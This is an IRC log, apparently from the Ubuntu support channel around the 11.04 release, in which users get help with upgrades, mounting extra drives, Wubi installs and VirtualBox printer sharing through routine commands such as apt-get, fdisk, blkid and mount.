[06:46] <silvery> how can I use 11.04 CD to upgrade standalo 10.10 with no harm to user files and installed software?
[06:46] <asiekierka> half the things barely installed
[06:46] <Chaoss> hmm i seem 2 be getting ignored
[06:46] <asiekierka> Chaoss so seem I
[06:46] <zachgretzinger> truepurple it shouldn't uninstall any programs when updating at all
[06:46] <ZenGuy311> asiekierka: did aq erlier release work?
[06:46] <asiekierka> I used 10.10
[06:46] <asiekierka> it worked perfectly
[06:46] <asiekierka> upgraded and now...
[06:46] <asiekierka> GDM blinks in normal mode
[06:46] <asiekierka> no menus visible in failsafeX
[06:46] <asiekierka> (or normal)
[06:46] <FloodBot3> asiekierka: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[06:46] <tanath> asiekierka, could wait a day for possible bugfixes and do a dist-upgrade from VT
[06:46] <asiekierka> lock screen is also buggy, buttons are square and look like themeless
[06:47] <asiekierka> tanath yeah
[06:47] <asiekierka> what's the command again?
[06:47] <Chaoss> ANYONE HERE KNOW HOW TO ACCESS BOTH OF MY HARD DRIVES, THEY ARE THERE IN DISK MANAGER BUT I CANT FIND THEM IN EXPLORER OR WHAT EVER ITS CALLED, I'VE BEEN TRYING FOR 19 HOURS
[06:47] <Chaoss> ANYONE HERE KNOW HOW TO ACCESS BOTH OF MY HARD DRIVES, THEY ARE THERE IN DISK MANAGER BUT I CANT FIND THEM IN EXPLORER OR WHAT EVER ITS CALLED, I'VE BEEN TRYING FOR 19 HOURS
[06:47] <asiekierka> Chaoss
[06:47] <extraclassic> haha
[06:47] <asiekierka> if you shout we're going to ignore you even more
[06:47] <asiekierka> look, a new version of Ubuntu ruined lifes of hundreds of peole
[06:47] <tanath> asiekierka, 'sudo apt-get update && sudo apt-get dist-upgrade'
[06:47] <george2> hi
[06:47] <truepurple> zachgretzinger: Its asking for permission to remove 76 "obsolete packages" right now.
[06:47] <pcgenius> hey what's the solution of that problem
[06:47] <teknowill> thegoodcushion: so your host is win 7 and guest ubuntu? you should "share" from host if possiable, otherwise you might have issuses.. one sec pls for the answer to q
[06:47] <pcgenius> can anyone please tell me
[06:47] <thegoodcushion> teknowill: ok
[06:47] <ZenGuy311> asiekierka: a new instalol instead of an upgrade would probably work better
[06:48] <thegoodcushion> teknowill: it currently works perfectly within Windows 7
[06:48] <Chaoss> well if im getting ignored im going to shout/spam
[06:48] <truepurple> Chaos: I have been in here for hours sometimes just trying to get someones attention, but I still never spam or shout
[06:48] <Chaoss> im sure you would
[06:48] <thegoodcushion> and I'm sharing it from Windows 7 on the network teknowill
[06:48] <george2> is there any gui tool to manage daemons, because bum and ckhconfig don't work with upstart
[06:48] <asiekierka> ZenGuy311 not with the thousands of packets i had installed
[06:48] <IdleOne> Chaoss: if you shout spam like that again you will be muted :)
[06:48] <helpmeplz> hey guys
[06:48] <pcgenius> hello i have only ubuntu installed on my system so when my system boots it doesn't shows the grub screen and i just want to go into recovery mode,so please tell me how can i do that ?
[06:48] <Chaoss> ok well does anyone know how to fix this problem
[06:48] <tanath> asiekierka, linux has nothing on windows :p
[06:48] <zachgretzinger> truepurple they are obsolete packages, not the programs themselves. You know on Windows when you download an .exe and install the program you still have the .exe somewhere? Same concept
[06:48] <pcgenius> i am using 11.04
[06:48] <itilious> why does ubuntu 11.04 menu controls disappear when i simply run "emerald --replace"?
[06:48] <Chaoss> or does linux not support more than 1 hard drive?
[06:48] <helpmeplz> have there been known issues with the wubi installer in 11.04?
[06:48] <bazhang> Chaoss, sudo blkid
[06:48] <tanath> pcgenius, did the app not work?
[06:49] <bazhang> Chaoss, put it in fstab
[06:49] <itilious> i'm doing exactly what i did with 10.04 and with 11.04 the menu controls/title/etc just go away, why?
[06:49] <bazhang> !fstab > Chaoss
[06:49] <ubottu> Chaoss, please see my private message
[06:49] <pcgenius> tanath:i am sorry but that time i am disconnected can you please tell me again
[06:49] <teknowill> thegoodcushion: in unbuntu 10.04 top bar > system > administration > printing > network printer > windows printer via samba
[06:49] <truepurple> zachgretzinger: I see in the list, "open office" in a number of places, that is going to uninstall open office, no?
[06:49] <Chaoss> how do i see private messages here?
[06:49] <Chaoss> ah i see
[06:49] <itilious> is 11.04 ubuntu desktop too "new" for emerald themes/manager to work with it?
[06:49] <tanath> pcgenius, package: startupmanager
[06:49] <zachgretzinger> truepurple no it is not going to uninstall anything
[06:49] <helpmeplz> can anyone please me help me with my wubi installation of ubuntu?
[06:49] <ZenGuy311> asiekierka: you ould backup  the list of installed packahes
[06:49] <silvery> how can I use 11.04 CD to upgrade standalone 10.10 with no harm to user files and installed software?
[06:50] <extraclassic> Chaoss: I think ubuntu mounts the drives in /media
[06:50] <bazhang> itilious, emerald is unmaintained and unsupported
[06:50] <tanath> pcgenius, lets you configure things like delay
[06:50] <ZenGuy311> helpmeplz: whats the problem?
[06:50] <thegoodcushion> teknowill: no printer shares found.  It says I should check my firewall configuration but I don't have Firewall under System->Administration
[06:50] <zachgretzinger> truepurple it's simply going to remove any unneccessary crap associated with the program before you installed it. Anything that will be removed you do not need
[06:50] <itilious> bazhang, is there an alternative?
[06:50] <bazhang> itilious, nope
[06:50] <Chaoss> I only see 1 drive (folder) thats my main drive
[06:50] <Chaoss> the other 2 are not there
[06:50] <helpmeplz> zenguy311, when rebooting after the wubi ubuntu install, I get the error that the "root partition is not defined"
[06:50] <bazhang> Chaoss, and the command I gave you to run?
[06:51] <helpmeplz> zenguy311. it doesn't complete the install
[06:51] <extraclassic> Chaoss: you need to figure out the device names of the other two using "fdisk -l" then mount them with fstab
[06:51] <truepurple> zachgretzinger: Do I have to worry about anything suddenly becoming uncompatible with the newer ubuntu? For example, will I be able to download updates for battle for wesnoth like normal, even if they haven't made a version for 11.04 yet?
[06:51] <ZenGuy311> silvery: backup and do a distro upgrade , hope for the best
[06:51] <superproxy> how do I enable text mode in an ubuntu-11.04-desktop-amd64 cd installer, i need to test the cd's integrity
[06:51] <bazhang> truepurple, yes you will
[06:51] <ZenGuy311> helpmeplz: you need to reinstall grub from the ubuntui live cd
[06:51] <truepurple> bazhang: Is it easy to revert back?
[06:52] <Chaoss> ok whats the command, i have sdb1 and sdc1
[06:52] <itilious> why is it that it seems every "upgrade" is usually a downgrade in features with ubuntu?
[06:52] <zachgretzinger> truepurple some programs (as of now, mostly only temporarily) will not update in Natty right now. Don't worry though, updates will soon become compatible with Natty
[06:52] <bazhang> truepurple, no, full reinstall needed
[06:52] <Chaoss> and sda1 but thats already working
[06:52] <teknowill> thegoodcushion: windows 7 dose and it makes a different how the network setting are set for vbox, set the vbox net interface to bridge so it has a ip in your network
[06:52] <bazhang> itilious, this is not channel for that
[06:52] <itilious> less features, less customability, less etc etc etc
[06:52] <polatov> hi to all
[06:52] <zachgretzinger> truepurple but you still can use all of your programs
[06:52] <bazhang> !ot > itilious
[06:52] <ubottu> itilious, please see my private message
[06:52] <pcgenius> tanath:but with the use of startup manager app we can work only if the ubuntu is running but one of my system is not able to boot ubuntu due to broken package,so when i boot my system only blank screen comes so i need to step into recovery mode from their
[06:52] <helpmeplz> zenguy311, but wouldn't that corrupt my windows mbr?
[06:52] <truepurple> zachgretzinger: So perhaps update them before updating ubuntu?
[06:52] <polatov> hi move dash to right side?
[06:52] <polatov> how move dash to right side?
[06:52] <Chaoss> what do i have to type in to get them to work
[06:53] <ZenGuy311> helpmeplz: can you still boot into windows and reinstall wubi
[06:53] <zachgretzinger> truepurple yes, do a quick sudo apt-get update before upgrading
[06:53] <teknowill> thegoodcushion: you might need to give the host ip in manually even then
[06:53] <extraclassic> itilious: people are in #ubuntu-offtopic complaining right now...it's pretty funny
[06:53] <thegoodcushion> teknowill: How do I set the VBox newtwork to bridge?
[06:53] <zachgretzinger> truepurple before you upgrade though I would suggest install Natty on either a CD or USB and testing it out a bit. That way you won't have wasted your time if you do not like Natty
[06:53] <tanath> pcgenius, tap esc while booting. it should prevent it from going past the menu
[06:53] <truepurple> zachgretzinger: With the update screen at "do you wish to remove these packages" will that still work? Or will I have trouble because the update is midstream?
[06:53] <helpmeplz> zenguy311: yes, im on my windows installation right now. I could uninstall and reinstall ubuntu wubi for a 3rd time via the program manager
[06:54] <Chaoss> i could be here another 19 hours, tried fstab mount /dev/sdb1 and unknown command
[06:54] <pcgenius> tanath:ok thanks dude
[06:54] <tanath> pcgenius, once you get it working you may want to add a delay for future
[06:54] <zachgretzinger> truepurple just make sure before you update that the terminal is doing nothing
[06:54] <Chaoss> would have though after these years they'd have made a way to support more than 1 HD
[06:54] <yi`zhi> noob question but if i buy a mac book pro, i could just install ubuntu over it and it'll work fine right? any issues regarding that?
[06:54] <pcgenius> anyways congratulation to ubuntu team and community for the awesome release 11.04
[06:55] <thegoodcushion> teknowill: I'm about ready to install Ubuntu as dual-boot instead of virtualized
[06:55] <zachgretzinger> yi zhi go right ahead. I don't know why on earth you'd buy a macbook fashionaccessorypro though...
[06:55] <ZenGuy311> helpmeplz: no .. just complete the windows install
[06:55] <teknowill> thegoodcushion: on the lower right of vm window should be an icon for network card if not: shutdown the guest, and under its settings should be something about the network card in there will be a drop down
[06:55] <Chaoss> what do i have to type into terminal to get the hard drives working, they are sdb1 and sdc1 both are ntfs?
[06:55] <doodle> Hello, I have problem with installing 11.04. I chose a drive of 45 GB as mounted in /dos with FAT32 file system, but I cannout see that drive now. How can I see that drive in my computer and use? I can use and see that on Windows though.
[06:55] <truepurple> zachgretzinger: Are there drawbacks for 11.04 then? Besides the new quick link stuff, anything else I will appreciate with 11.04? Its alot quicker?
[06:56] <teknowill> thegoodcushion: it's not just a selction in the settings not too complex, but understand the fustration
[06:56] <Chaoss> what do i have to type into terminal to get the hard drives working, they are sdb1 and sdc1 both are ntfs?
[06:56] <helpmeplz> ZenGuy311: How do I complete the install inside windows? I thought the install would complete itself after it'd ask to reboot.
[06:56] <thegoodcushion> teknowill: I have changed it from NAT to Bridged Adapter.  Is that what I need?
[06:56] <yi`zhi> zachgretzinger, that's pretty much it. i just like the design haha
[06:56] <teknowill> thegoodcushion: yep!
[06:56] <Chaoss> looking at the fstab page says i need to set up a server
[06:56] <Chaoss> i dont have the money to buy a server at the moment
[06:56] <ZenGuy311> at the reboot it should have
[06:56] <zachgretzinger> truepurple just keep in mind that 11.04 (Natty) is a BIG change from what you're used to. A lot of people don't like Natty because they haven't immediately gotten used to it
[06:57] <Chaoss> and i dont have the knowledge to compile a new linux distro that supports more than 1 hard drive
[06:57] <truepurple> zachgretzinger: Like what?
[06:57] <thegoodcushion> teknowill: And for Name, do I select the real NIC or the VirtualBox Host-Only thing?
[06:57] <philipballew> my computer wont update to 11.04 when i type "sudo apt-get update && sudo apt-get upgrade  && sudo apt-get dist-upgrade"
[06:57] <truepurple> zachgretzinger: I am a linux newbie, I am still getting use to linux in general
[06:57] <Chaoss> what do i have to type into terminal to get the hard drives working, they are sdb1 and sdc1 both are ntfs?
[06:57] <superproxy> how do i enable text mode in a graphical natty amd64 installer, i need to check the cd's integrity
[06:57] <Maddogm> you dont have to use unity if you dont want to
[06:57] <tanath> philipballew, the apt-get upgrade in there is wasteful
[06:58] <zachgretzinger> yi zhi honestly, design should be the last thing to look for when buying a computer... I work on both PC and Mac at work and most of the Mac's are actually inferior to the PC's
[06:58] <helpmeplz> zenguy311, well at the reboot it tried to complete the install but it failed saying that the root partition wasn't defined
[06:58] <Chaoss> what do i have to type into terminal to get the hard drives working, they are sdb1 and sdc1 both are ntfs?
[06:58] <ZenGuy311> helpmeplz: you'll have to reinstall wubi to be sucsessful
[06:58] <philipballew> tanath how can i update to 11.04 then?
[06:58] <ejv> Chaoss: all linux distros support multiple hard drives, why don't you start by: sudo apt-get install pastebinit
[06:58] <ejv> Chaoss: then: sudo fdisk -l | pastebinit
[06:58] <tanath> philipballew, that should work. but you didn't state the problem
[06:58] <taglass> Chaoss: I was just about to type something up to explain it, but thought to myself "Why reward that behavior"
[06:58] <teknowill> thegoodcushion: i think the real one
[06:59] <zachgretzinger> truepurple go to youtube and type in Natty and watch a few of the videos
[06:59] <ejv> also...
[06:59] <helpmeplz> ZenGuy311, Well I've just been using the step by step that's on the DVD. What's the better way of going about this?
[06:59] <ejv> !patience | Chaoss
[06:59] <ubottu> Chaoss: Don't feel ignored and repeat your question quickly; if nobody knows your answer, nobody will answer you. While you wait, try searching https://help.ubuntu.com or http://ubuntuforums.org or http://askubuntu.com/
[06:59] <teknowill> thegoodcushion: hard to picture in my mind sry
[06:59] <philipballew> when i attempt to run the comand it just updates my system and tells me no updates are avaible
[06:59] <Chaoss> http://paste.ubuntu.com/600596/
[06:59] <bazhang> ejv, I dont think he has pastebinit installed
[06:59] <ejv> bazhang: i told him to install it
[06:59] <tanath> philipballew, try with the update manager
[06:59] <teknowill> thegoodcushion: could you see inet pages befoer in the box?
[06:59] <truepurple> zachgretzinger: A utube video isn't going to tell me much
[06:59] <bazhang> ejv, nicely done I missed that
[06:59] <ZenGuy311> helpmeplz: i'vew only done a wubi install about 3 years ago, but wubi should be safe for new users
[07:00] <zachgretzinger> truepurple there are reviews on Natty where virtually everything is covered. pro's, con's, etc
[07:00] <ejv> bazhang: ;)
[07:00] <philipballew> im updating my server over ssh
[07:00] <thegoodcushion> teknowill: okay I selected the real adapter and now my SMB Browser sees Workgroup and Richard-Windows, which I presume is something from the Windows 7 machine appearing in Ubuntu
[07:00] <ejv> Chaoss: ok so what have you tried, what errors are you getting?
[07:00] <tanath> zachgretzinger, apostrophes aren't used for plurals
[07:00] <teknowill> thegoodcushion: sounds right
[07:00] <truepurple> zachgretzinger: I tried running the get update program, but I got alot of errors about unavailable resources
[07:00] <Chaoss> i tried to install pysdm but i cant find it
[07:00] <Maddogm> is there a way to pre-download a dist-upgrade?
[07:01] <doodle> Hellow everyone, (reposting) I have problem with installing 11.04. I chose a drive of 45 GB as mounted in /dos with FAT32 file system, but I cannout see that drive now. How can I see that drive in my computer and use? I can use and see that on Windows though.
[07:01] <Chaoss> and i have spent time looking for it
[07:01] <siloxid> in gnome I changed my mouse settings but these aren't observed when I log in with a different wm.  how do I keep the mouse settings?
[07:01] <ejv> Chaoss: what's pysdm ?
[07:01] <helpmeplz> ZenGuy311: okay. Well I'll try and do some research then. It's a shame they have to make it so exhausting to figure out.
[07:01] <ejv> Chaoss: i thought you were trying to mount your NTFS partitions...
[07:01] <Chaoss> i am
[07:01] <soreau> How can I get rid of this mail icon on my panel? 'ps ax|grep evolution' shows nothing of this sort is running
[07:01] <Chaoss> it said it would help me out but its done nothing
[07:01] <linusasus6> is gnome-shell, gnome-desktop, gnome-core and gnome packages will be supported on the 11.10 because they no longer seem to be supported in 11.04
[07:01] <ZenGuy311> helpmeplz: ok good luck
[07:01] <thegoodcushion> teknowill: I figured out what the problem is, and I'll tell you
[07:01] <deneb> hello...how can i install gnome 3 on ubuntu 11.04?  any link on web to explain? it has many ways and i'm confused what is right
[07:01] <helpmeplz> ZenGuy311: Thanks for the help
[07:01] <zachgretzinger> tanath I apologize, oh great grammar Nazi *bows head*
[07:02] <tanath> philipballew, actually, someone said upgrading is borked right now. should try later
[07:02] <thegoodcushion> teknowill: I originally had no password for my Windows 7 user account.  But Ubuntu won't log onto the workgroup without a password.  You must have a password or it won't log into the workgroup.
[07:02] <ejv> Chaoss: i would: sudo mkdir /mnt/mydrive && mount /dev/sdaX /mnt/mydrive
[07:02] <taglass>  Maddogm apt-get -d dist-upgrade
[07:02] <ZenGuy311> Hellie: k but wish i could have been more useful
[07:02] <tanath> zachgretzinger, way to make assumptions. i don't know if you know better or care or not. for all i know english isn't your first language and you'd appreciate the correction
[07:02] <Chaoss> only root can do that
[07:03] <ejv> Chaoss: you can't use sudo? is this your machine?
[07:03] <zachgretzinger> tanath, English is actually my 3rd language...
[07:03] <teknowill> thegoodcushion: you could make a dummyuser or you can put a password on the administrator account that is default to all win boxes
[07:03] <Chaoss> thats what it says, i've never understood that error
[07:03] <Chaoss> sudo works sometimes
[07:03] <ejv> Chaoss: it should work ALL the time, it will prompt you for your password you provided during installation.
[07:03] <tanath> zachgretzinger, care less the more languages you learn? :p
[07:03] <truepurple>  zachgretzinger: I tried running the get update program, but I got alot of errors about unavailable resources
[07:03] <thegoodcushion> teknowill: It's looking better but same thing is happening.  I've printed a test page twice, and both times Ubuntu claims it was successful but nothing has come out of my printer
[07:03] <Chaoss> yeh i put that in correctly
[07:04] <ejv> Chaoss: ok so what happened?
[07:04] <Chaoss> now when i try again it just says cannot create directory
[07:04] <deneb> hello...how can i install gnome 3 on ubuntu 11.04?  any link on web to explain? it has many ways and i'm confused what is right
[07:04] <tanath> deneb, wouldn't recommend it
[07:04] <truepurple> zachgretzinger: I tried running the get update program, but I got alot of errors about unavailable resources
[07:04] <zachgretzinger> tanath as long as people understand what I mean, it really doesn't matter to me.
[07:04] <ejv> Chaoss: mount | pastebinit
[07:04] <teknowill> thegoodcushion: ubuntu support annoymous, but win 7 has this homegroup thing, if you have that on it makes working with non win7 pcs hard
[07:04] <thegoodcushion> teknowill: I reckon I'll install Natty as a dual-boot and stop all this virtualization rubbish.  It causes more problems than it solves.
[07:04] <tanath> deneb, if it doesn't work, you can't safely downgrade
[07:04] <deneb> tanath: why doesn't work?
[07:04] <Chaoss> http://paste.ubuntu.com/600598/
[07:04] <teknowill> thegoodcushion: i guess, but this is a fixable problem
[07:05] <thegoodcushion> teknowill: in theory, yes
[07:05] <zachgretzinger> truepurple that doesn't matter for now, you still got the updates you need. Did you see "404" a lot?
[07:05] <tanath> zachgretzinger, spelling and grammar are important. misuse them and they can be misleading
[07:05] <ejv> Chaoss: use my name when sending me information: example: ejv: http://paste.ubuntu.com/600598/
[07:05] <mbrochh> just updated to 11.04... how do i activate the new desktop? everything still looks the same as it did before the update
[07:05] <thegoodcushion> teknowill: Well the printer is right there on the printing configuration page.  It appears to know that the printer exists.  But nothing comes out of the printer.
[07:05] <truepurple> zachgretzinger: Not a single 404
[07:05] <Starminn> mbrochh: Did you log out?
[07:05] <tanath> zachgretzinger, many miscommunications occur without either party being aware..
[07:05] <truepurple> zachgretzinger: And no, I didn't get any updates
[07:06] <truepurple> zachgretzinger: The command didn't work
[07:06] <mbrochh> Starminn, I restarted several times?
[07:06] <doodle> bazhang: Can you help please? I need to help with patitioning. I chose a drive of 45 GB as mounted in /dos with FAT32 file system, but I cannout see that drive now. How can I see that drive in my computer and use? I can use and see that on Windows though.
[07:06] <tanath> deneb, it apparently hasn't worked for some people
[07:06] <ejv> Chaoss: mount shows that your sda2 ntfs partition is already mounted under /media/ folder; the command i sent you earlier, i indicated */dev/sdaX* where X is a number YOU substitute... did you do that?
[07:06] <doodle> !repost
[07:06] <teknowill> thegoodcushion: if you want as well, you can have ubuntu print to pdf file as printer insead of direct and just save them to a shared dir
[07:06] <doodle> Sorry, typo. :S
[07:07] <thegoodcushion> teknowill: that's more trouble than it's worth
[07:07] <zachgretzinger> tanath I'm 20, give me a break!! Spanish was my first language, followed by German. You can see how English may be a little complicated with all of it's rediculous rules
[07:07] <Chaoss> yeh i did
[07:07] <teknowill> thegoodcushion: and just print in win... k just a side thought... but I think the troulbe is win7 home group crap
[07:07] <djazz> when I start a terminal, it dont appear in the launcher (11.04) :/
[07:07] <Chaoss> it just says "Only root can do that"
[07:07] <deneb> tanath: i tried recently with ppa and then install gnome-shell and it didn't have the right theme (not the adwaita but an older look like)
[07:07] <Chaoss> which i assume means it cant do it for some reason
[07:07] <ejv> tanath / zachgretzinger, enough, take it to #ubuntu-offtopic or ignore eachother, thx ;)
[07:07] <soreau> How can I get rid of this mail icon on my panel? 'ps ax|grep evolution' shows nothing of this sort is running
[07:07] <thegoodcushion> teknowill: Honestly I reckon I'll install Linux on the metal.  VBox has caused me nothing but trouble and it doesn't do me much good
[07:07] <tanath> zachgretzinger, don't think i've been hard on  you...
[07:07] <deneb> tanath: is that the problem?
[07:08] <zachgretzinger> truepurple press ALT+F2 and type in the following "sudo apt-get update"
[07:08] <taglass> doodle: try sudo blkid to find the partition and then sudo mount sdwhatever /dos where sdwhatever is the nae you got from blkid
[07:08] <tanath> deneb, what problem?
[07:08] <ejv> Chaoss: if you used sudo, and put in your password correctly, the mount operation should succeed.
[07:08] <truepurple> zachgretzinger: ALT F2 doesn't do anything
[07:08] <zachgretzinger> tanath: Correction: Don't think I've been hard on you.
[07:08] <Chaoss> ok
[07:08] <Chaoss> i see no password entry
[07:08] <Chaoss> just the message again
[07:09] <ejv> Chaoss: double check your `fdisk -l` listing, to make sure it corresponds to your devices you're trying to mount.
[07:09] <zachgretzinger> truepurple then manually open the terminal and type the following: "sudo apt-get update"
[07:09] <deneb> tanath: i tried recently with ppa and then install gnome-shell and it didn't have the right theme (not the adwaita but an older look like)
[07:09] <teknowill> thegoodcushion: only when you trun off home group can any pc access a share without password... you would have this problem on any non win 7 metal box trying to connect over ethernet, just so you know
[07:09] <Chaoss> yeh that works it shows me that information
[07:09] <thegoodcushion> Okay, everyone.  I love Ubuntu 10.10 and I haven't yet upgraded to 11.04.  I'm a bit dubious about Unity though.  Should I stick with 10.10, learn to live with Unity, run 11.04 with GNOME, or switch to another distro?
[07:09] <djazz> 11.04 launcher is bugged :/
[07:09] <truepurple> zachgretzinger: Ok, I got alt F2 to work, apparently it only works with the left alt. But as I said, that command doesn't work, it gives me that error when I do that
[07:10] <Chaoss> i put my password in and it showed me, but when i try the command thats suppose dto work, it does not so
[07:10] <teknowill> thegoodcushion: but usb on bare will work, non vm has it's problems as well, but speed will be better
[07:10] <Chaoss> is there no way to brute force access the drives?
[07:10] <ejv> Chaoss: ok, then using the format: `sudo mount <device> <target>` is the next step, where target can be in /mnt/ or /media/ typically.
[07:10] <tanath> zachgretzinger, my grammar was correct, and the lack of caps doesn't make it unclear. and when chatting lack of caps is common and informal
[07:10] <thegoodcushion> teknowill: yeah
[07:10] <zachgretzinger> truepurple so absolutely NOTHING happens? You don't see 99% a million times?
[07:10] <taglass> thegoodcushion: only you can answer that question
[07:10] <truepurple> zachgretzinger: It gives me those errors I mentioned about unavailable resources and such
[07:11] <tanath> anyway, gotta run. good luck peopel
[07:11] <AnonymousGuy> hey just downloaded and installed ubuntu 11.04 having an issue with the update manager though, http://pastebin.com/fty5AXwu
[07:11] <tanath> *people
[07:11] <zachgretzinger> truepurple that doesn't mean everything didn't update
[07:11] <truepurple> zachgretzinger: The errors I mentioned earlier that you said I should not mind
[07:11] <teknowill> thegoodcushion: i think though, if you turn off or remove your win 7 pc from home group and reshare the printer to "everyone" ubuntu will take it
[07:11] <Chaoss> ok i see sdb
[07:11] <Chaoss> its worked sort of
[07:11] <truepurple> zachgretzinger: I never got to a screen to choose any updates, nor did I see any download progress or install activity
[07:11] <arooni-mobile> hey folks ; trying to get sun-java6-jre on my ubuntu 10.04 laptop;  ubuntu * Says* its installed; but when i do: LilArooni sudo update-alternatives --config java;;; i dont see anything on sun java
[07:11] <Chaoss> i dont see my drive information there
[07:12] <zachgretzinger> truepurple were you in the terminal
[07:12] <djazz> anyone else using 11.04 have trouble with launcher?
[07:12] <Chaoss> just a few files (Boot, System volume information, bootmgr etc)
[07:12] <thegoodcushion> teknowill: I might try that
[07:12] <truepurple> zachgretzinger: When I type that command in terminal, all it does is give me those errors
[07:12] <truepurple> E: Could not get lock /var/lib/apt/lists/lock - open (11: Resource temporarily unavailable)
[07:12] <truepurple> E: Could not get lock /var/lib/apt/lists/lock - open (11: Resource temporarily unavailable)
[07:13] <truepurple> E: Unable to lock directory /var/lib/apt/lists/
[07:13] <bazhang> truepurple, close other instances of apt
[07:13] <ejv> Chaoss: your data may or may not reside in another partition on your device, use `fdisk -l` to locate relevant partitions where your data is likely to be stored.
[07:13] <truepurple> E: Unable to lock directory /var/lib/apt/lists/
[07:13] <Chaoss> the folder is only 73Mb free too
[07:13] <Chaoss> ok
[07:13] <doodle> taglass: I see nothing.
[07:13] <ejv> !paste | truepurple
[07:13] <ubottu> truepurple: For posting multi-line texts into the channel, please use http://paste.ubuntu.com | To post !screenshots use http://imagebin.org/?page=add | !pastebinit to paste directly from command line | Make sure you give us the URL for your paste - see also the channel topic.
[07:13] <teknowill> thegoodcushion: ok, well good luck with either route, i'll check/scroll back in a bit if you decide to give it more time
[07:13] <doodle> taglass: it does not give any output.
[07:13] <zachgretzinger> tanath beschweren sich über Grammatik an jemand anderen
[07:13] <truepurple> bazhang: apt? what is that?
[07:13] <eiriksvin> brb
[07:14] <ejv> AnonymousGuy: please check https://launchpad.net/ubuntu/natty/+bugs to see if such an issue has been reported. if not, file it for us. :-)
[07:14] <thegoodcushion> teknowill: mate I'm fed up and I'm looking for a distro to install on the metal
[07:14] <taglass> doodle: "sudo blkid" gives no output?
[07:14] <djazz> :/
[07:14] <doodle> taglass: it does.
[07:14] <zachgretzinger> truepurple type in the command again and copy all of the output into a text file and save it on your desktop
[07:14] <djazz> anyone using 11.04?
[07:14] <ejv> djazz: of course
[07:14] <teknowill> thegoodcushion: I've have good luck with 10.04, I wouldn't go 11 yet
[07:14] <zachgretzinger> djazz me
[07:14] <taglass> is there a line that says anything about fat or ntfs?
[07:14] <Chaoss> mount: unknown filesystem type 'promise_fasttrack_raid_member'
[07:14] <djazz> anyone have trouble with launcher?
[07:14] <doodle> taglass: but I have no name for that partion so I tried sudo blkid UUID /dos
[07:14] <ejv> djazz: be more specific.
[07:15] <Chaoss> aha i know the problem, ubuntu doesnt support ntfs
[07:15] <doodle> taglass: that gives no output.
[07:15] <thegoodcushion> teknowill: problem is that if Ubuntu stays with this Unity crap, I reckon I might abandon Ubuntu
[07:15] <zachgretzinger> djazz by trouble, do you mean trouble getting used to it
[07:15] <djazz> terminal doesnt show up, wine programs are combined in one wine "app"
[07:15] <ejv> Chaoss: you mean you haven't loaded support for it? why didn't you say so?
[07:15] <truepurple> zachgretzinger: Why?
[07:15] <teknowill> thegoodcushion: had good luck with opensuse 11.3, 11.4 kde eats too much cpu
[07:15] <thegoodcushion> teknowill: No, I want GNOME
[07:15] <zachgretzinger> truepurple because I think you're misunderstanding something but would like to be sure
[07:15] <linusasus6> linuxmint
[07:16] <Chaoss> it seems odd because it can access my main windows hard drive (i have one Solid state drive, and 2 1TB hard drives)
[07:16] <Maddogm> thegoodcushion, you can login using "Ubuntu Classic"  and get the current (previous) gui
[07:16] <Chaoss> i can seethe solid state drive and the windows folders n stuff
[07:16] <truepurple> zachgretzinger: But how does putting it in a text file on my desktop help you do that?
[07:16] <taglass> doodle: can you post the output of sudo blkid to a pastebin?
[07:16] <doodle> taglass: okay.
[07:16] <ejv> Chaoss: i think i've hit my limit in terms of support i can provide for that issue, attempt to setup ntfs support, there's a wealth of documentation online about the process.
[07:16] <Chaoss> but the other 2 hard drives are totally 101% inaccessible from ubuntu i've tried so much for so long
[07:16] <zachgretzinger> truepurple because once you do it and tell me you did it I'm going to have you email it to me and I'm going to read it
[07:16] <Chaoss> and it always says 1 error, or some other cryptic message
[07:17] <ejv> !enter > Chaoss
[07:17] <ubottu> Chaoss, please see my private message
[07:17] <teknowill> thegoodcushion: well debian is a pain if you want none approved progs and out of box flash didn't work... fedora is good but again you need to get codeces....
[07:17] <truepurple> zachgretzinger: How about a pastebin or a PM instead? Less work, and anyway, why put it into a text file to email it to you?
[07:17] <Vustom> When I startup my computer (Which is using Windows and Ubuntu side-by-side, Windows being installed first) theres an option to press F11 which goes into System Recovery, this worked before when I just had Windows by itself, but I want to do another reformat because of the new Ubuntu, how can I fix this?
[07:17] <gh0st> what's the deal with remote desktop viewer?
[07:17] <thegoodcushion> teknowill: Well Debian doesn't have GNOME 3.  I think I prefer debian-based distros
[07:17] <truepurple> zachgretzinger: Its like 4 lines anyway
[07:17] <ejv> gh0st: be much more specific.
[07:17] <zachgretzinger> truepurple however you want, just give me the output of the terminal once you type in sudo apt-get update
[07:18] <gh0st> I'm trying to connect to my win7 machine and get "connection closed: connection to host ip was closed."
[07:18] <taglass> thegoodcushion: I believe it's in experimental
[07:18] <doodle> taglass: here: http://pastebin.com/raw.php?i=5ve2jLCb
[07:18] <taglass> thegoodcushion: gnome3 that is
[07:18] <Chaoss> ubuntu is experminetal lol
[07:18] <ZykoticK9> taglass, that's what i told thegoodcushion in #debian
[07:18] <truepurple> zachgretzinger: Do you see that PM I sent you?
[07:18] <Starminn> Vustom: You want to reformat your whole hard drive or just overwrite Ubuntu?
[07:18] <doodle> taglass: the /dev/sda11: UUID="065C-DB02" TYPE="vfat" is the problem.
[07:18] <djazz> ejv: http://i.imgur.com/f3kjd.jpg
[07:18] <taglass> ok
[07:18] <Vustom> Whole hard drive
[07:18] <Starminn> Vustom: (By the way, long time no see! I hope Ubuntu has been treating you well!)
[07:18] <Vustom> It's awesome. ;3
[07:18] <ejv> Chaoss: the recent release 11.04 is, you may want to try 10.04 LTS for something more stable
[07:19] <thegoodcushion> taglass: no wait I meant GNOME 2
[07:19] <Vustom> Excited for Unity, at first I was like eh, but it looks cool. :D
[07:19] <thegoodcushion> my bad
[07:19] <Starminn> Vustom: I'd say just open up GParted from a LiveCD and wipe it all.
[07:19] <Chaoss> in ubuntu where do you access "system"
[07:19] <taglass> doodle: type this sudo mount -tvfat /dev/sda11 /dos
[07:19] <zachgretzinger> truepurple yes, I replied
[07:19] <ejv> djazz: ?
[07:19] <Chaoss> it used to be on the top bar but its vanished
[07:19] <Starminn> Vustom: I'm excited for Gnome3 but it looks like I'll have to wait for 11.10 for that one.
[07:19] <Vustom> But theres another HDD in there, and it has the system covery for Windows Vista on it..
[07:19] <djazz> ejv, i was more specific
[07:19] <djazz> :P
[07:19] <Starminn> Vustom: What does your hard drive setup look like?
[07:20] <Chaoss> can someone help me locate this: http://www.ubuntugeek.com/pysdm-graphical-storage-device-manager.html
[07:20] <Vustom> HP (HDD)
